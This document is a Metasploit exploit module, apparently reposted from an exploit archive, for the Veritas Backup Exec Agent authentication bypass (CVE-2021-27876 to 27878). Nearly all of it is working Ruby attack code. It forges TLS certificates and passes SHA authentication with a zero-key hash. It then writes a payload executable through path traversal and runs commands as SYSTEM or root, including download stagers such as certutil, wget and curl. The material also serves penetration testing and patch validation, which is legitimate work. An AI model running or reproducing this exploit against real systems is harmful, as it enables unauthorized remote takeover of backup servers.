Veritas Backup Exec Agent Remote Code Execution

Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them. This authentication scheme is no longer used within Backup Exec versions, but had not yet been disabled. An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges depending on the platform. The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and including Backup Exec Remote Agent revision 9.3).


SHA-256 | 5d2a9879ee25f3f36daab21dabc7454caa668fe4871c215806df28dda8ea3890

# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::NDMPSocket
include Msf::Exploit::CmdStager
include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Veritas Backup Exec Agent Remote Code Execution',
'Description' => %q{
Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.
This authentication scheme is no longer used within Backup Exec versions, but hadn’t yet been disabled.
An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to
the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges
depending on the platform.

The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and
including Backup Exec Remote Agent revision 9.3)
},
'License' => MSF_LICENSE,
'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],
'References' => [
['CVE', '2021-27876'],
['CVE', '2021-27877'],
['CVE', '2021-27878'],
['URL', 'https://www.veritas.com/content/support/en_US/security/VTS21-001']
],
'Platform' => %w[win linux],
'Targets' => [
[
'Windows',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm]
}
],
[
'Linux',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => %w[bourne wget curl echo]
}
]
],
'DefaultOptions' => {
'RPORT' => 10_000
},
'Privileged' => true,
'DisclosureDate' => '2021-03-01',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [UNRELIABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],
conditions: ['TARGET', '==', 'Linux'])
])
deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
end

def execute_command(cmd, opts = {})
case target.opts['Platform']
when 'win'
wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\""
when 'linux'
wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\""
end
ndmp_sock = opts[:ndmp_sock]
ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_EXECUTE_COMMAND,
NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr
)
)
end

def exploit
print_status('Exploiting ...')

ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status

ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)
fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}") unless ndmp_status

ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)
fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless ndmp_status

if target.opts['Platform'] == 'win'
filename = "#{rand_text_alpha(8)}.exe"
ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)
if ndmp_status
ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename)
fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless ndmp_status
else
print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager')
execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
end
else
print_status('Uploading payload with CmdStager')
execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
end
end

def check
print_status('Checking vulnerability')

ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status

print_status('Getting supported authentication types')
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)
)
ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)
print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|
"#{AUTH_TYPES[k]} (#{k})"
end.join(', ')}")
print_status("BE agent revision: #{ndmp_payload.revision}")

if ndmp_payload.auth_types.include?(5)
Exploit::CheckCode::Appears('SHA authentication is enabled')
else
Exploit::CheckCode::Safe('SHA authentication is disabled')
end
end

def ndmp_connect
print_status('Connecting to BE Agent service')
ndmp_msg = nil
begin
ndmp_sock = NDMP::Socket.new(connect)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,
Rex::ConnectionRefused => e
return [false, nil, e.to_s]
end
begin
Timeout.timeout(datastore['ConnectTimeout']) do
ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
end
rescue Timeout::Error
return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service']
else
ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body)
end

ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP::Message::CONNECT_OPEN,
NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr
)
)

ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"]
end

[true, ndmp_sock, nil]
end

def tls_enabling(ndmp_sock)
print_status('Enabling TLS for NDMP connection')
ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s)
ndmp_tls_certs.forge_ca
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_SSL_HANDSHAKE,
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_REQ])).to_xdr
)
)
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"]
end

ndmp_tls_certs.sign_agent_csr(ndmp_payload.data)

ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_SSL_HANDSHAKE,
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED])).to_xdr
)
)
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"]
end

ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_SSL_HANDSHAKE,
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CONNECT])).to_xdr
)
)
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"]
end

ssl_context = OpenSSL::SSL::SSLContext.new
ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key)
ndmp_sock.wrap_with_ssl(ssl_context)
[true, nil]
end

def sha_authentication(ndmp_sock)
print_status('Passing SHA authentication')
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_CONFIG_GET_AUTH_ATTR,
NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr
)
)
ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"]
end

ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP::Message::CONNECT_CLIENT_AUTH,
NdmpConnectClientAuthReq.new(
{
auth_type: 5,
username: 'Administrator', # Doesn't metter
hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge)
}
).to_xdr
)
)
ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"]
end

[true, nil]
end

def win_write_upload(ndmp_sock, filename)
print_status('Uploading payload with NDMP_FILE_WRITE packet')
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_FILE_OPEN_EXT,
NdmpFileOpenExtReq.new(
{
filename: filename,
dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp',
mode: 4
}
).to_xdr
)
)
ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"]
end

hnd = ndmp_payload.handler
exe = generate_payload_exe
offset = 0
block_size = 2048

while offset < exe.length
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_FILE_WRITE,
NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr
)
)
ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]
end

offset += block_size
end

ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_FILE_CLOSE,
NdmpFileCloseReq.new({ handler: hnd }).to_xdr
)
)
ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]
end

[true, nil]
end

def exec_win_command(ndmp_sock, filename)
cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_EXECUTE_COMMAND,
NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr
)
)
ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]
end

[true, nil]
end

# Class to create CA and client certificates
class NdmpTlsCerts
def initialize(hostname, ip)
@hostname = hostname
@ip = ip
@ca_key = nil
@ca_cert = nil
@be_agent_cert = nil
end

SSL_HANDSHAKE_TYPES = {
SSL_HANDSHAKE_TEST_CERT: 1,
SSL_HANDSHAKE_CSR_REQ: 2,
SSL_HANDSHAKE_CSR_SIGNED: 3,
SSL_HANDSHAKE_CONNECT: 4
}.freeze

attr_reader :ca_cert, :ca_key

def forge_ca
@ca_key = OpenSSL::PKey::RSA.new(2048)
@ca_cert = OpenSSL::X509::Certificate.new
@ca_cert.version = 2
@ca_cert.serial = rand(2**32..2**64 - 1)
@ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")
extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)
@ca_cert.extensions = [
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
extn_factory.create_extension('basicConstraints', 'CA:TRUE'),
extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')
]
@ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))
@ca_cert.public_key = @ca_key.public_key
@ca_cert.not_before = Time.now - 7 * 60 * 60 * 24
@ca_cert.not_after = Time.now + 14 * 24 * 60 * 60
@ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
end

def sign_agent_csr(csr)
o_csr = OpenSSL::X509::Request.new(csr)
@be_agent_cert = OpenSSL::X509::Certificate.new
@be_agent_cert.version = 2
@be_agent_cert.serial = rand(2**32..2**64 - 1)
@be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24
@be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60
@be_agent_cert.issuer = @ca_cert.subject
@be_agent_cert.subject = o_csr.subject
@be_agent_cert.public_key = o_csr.public_key
@be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
end

def default_sslpacket_content(ssl_packet_type)
if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]
ca_cert = @ca_cert.to_s
agent_cert = @be_agent_cert.to_s
else
ca_cert = ''
agent_cert = ''
end
{
ssl_packet_type: ssl_packet_type,
hostname: @hostname,
nb_hostname: @hostname.upcase,
ip_addr: @ip,
cert_id1: get_cert_id(@ca_cert),
cert_id2: get_cert_id(@ca_cert),
unknown1: 0,
unknown2: 0,
ca_cert_len: ca_cert.length,
ca_cert: ca_cert,
agent_cert_len: agent_cert.length,
agent_cert: agent_cert
}
end

def get_cert_id(cert)
Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<')
end
end

NDMP_CONFIG_GET_AUTH_ATTR = 0x103
NDMP_SSL_HANDSHAKE = 0xf383
NDMP_EXECUTE_COMMAND = 0xf30f
NDMP_FILE_OPEN_EXT = 0xf308
NDMP_FILE_WRITE = 0xF309
NDMP_FILE_CLOSE = 0xF306

AUTH_TYPES = {
1 => 'Text',
2 => 'MD5',
3 => 'BEWS',
4 => 'SSPI',
5 => 'SHA',
190 => 'BEWS2' # 0xBE
}.freeze

# Responce packets
class NdmpNotifyConnectedRes < XDR::Struct
attribute :connected, XDR::Int
attribute :version, XDR::Int
attribute :reason, XDR::Int
end

class NdmpConnectOpenRes < XDR::Struct
attribute :err_code, XDR::Int
end

class NdmpConfigGetServerInfoRes < XDR::Struct
attribute :err_code, XDR::Int
attribute :vendor_name, XDR::String[]
attribute :product_name, XDR::String[]
attribute :revision, XDR::String[]
attribute :auth_types, XDR::VarArray[XDR::Int]
end

class NdmpConfigGetHostInfoRes < XDR::Struct
attribute :err_code, XDR::Int
attribute :hostname, XDR::String[]
attribute :os, XDR::String[]
attribute :os_info, XDR::String[]
attribute :ip, XDR::String[]
end

class NdmpSslHandshakeRes < XDR::Struct
attribute :data_len, XDR::Int
attribute :data, XDR::String[]
attribute :err_code, XDR::Int
attribute :unknown4, XDR::String[]
end

class NdmpConfigGetAuthAttrRes < XDR::Struct
attribute :err_code, XDR::Int
attribute :auth_type, XDR::Int
attribute :challenge, XDR::Opaque[64]
end

class NdmpConnectClientAuthRes < XDR::Struct
attribute :err_code, XDR::Int
end

class NdmpExecuteCommandRes < XDR::Struct
attribute :err_code, XDR::Int
end

class NdmpFileOpenExtRes < XDR::Struct
attribute :err_code, XDR::Int
attribute :handler, XDR::Int
end

class NdmpFileWriteRes < XDR::Struct
attribute :err_code, XDR::Int
attribute :recv_len, XDR::Int
attribute :unknown, XDR::Int
end

class NdmpFileCloseRes < XDR::Struct
attribute :err_code, XDR::Int
end

# Request packets
class NdmpConnectOpenReq < XDR::Struct
attribute :version, XDR::Int
end

class NdmpSslHandshakeReq < XDR::Struct
attribute :ssl_packet_type, XDR::Int
attribute :nb_hostname, XDR::String[]
attribute :hostname, XDR::String[]
attribute :ip_addr, XDR::String[]
attribute :cert_id1, XDR::Int
attribute :cert_id2, XDR::Int
attribute :unknown1, XDR::Int
attribute :unknown2, XDR::Int
attribute :ca_cert_len, XDR::Int
attribute :ca_cert, XDR::String[]
attribute :agent_cert_len, XDR::Int
attribute :agent_cert, XDR::String[]
end

class NdmpConfigGetAuthAttrReq < XDR::Struct
attribute :auth_type, XDR::Int
end

class NdmpConnectClientAuthReq < XDR::Struct
attribute :auth_type, XDR::Int
attribute :username, XDR::String[]
attribute :hash, XDR::Opaque[32]
end

class NdmpExecuteCommandReq < XDR::Struct
attribute :cmd, XDR::String[]
attribute :unknown, XDR::Int
end

class NdmpFileOpenExtReq < XDR::Struct
attribute :filename, XDR::String[]
attribute :dir, XDR::String[]
attribute :mode, XDR::Int
end

class NdmpFileWriteReq < XDR::Struct
attribute :handler, XDR::Int
attribute :len, XDR::Int
attribute :data, XDR::String[]
end

class NdmpFileCloseReq < XDR::Struct
attribute :handler, XDR::Int
end
end

Related Posts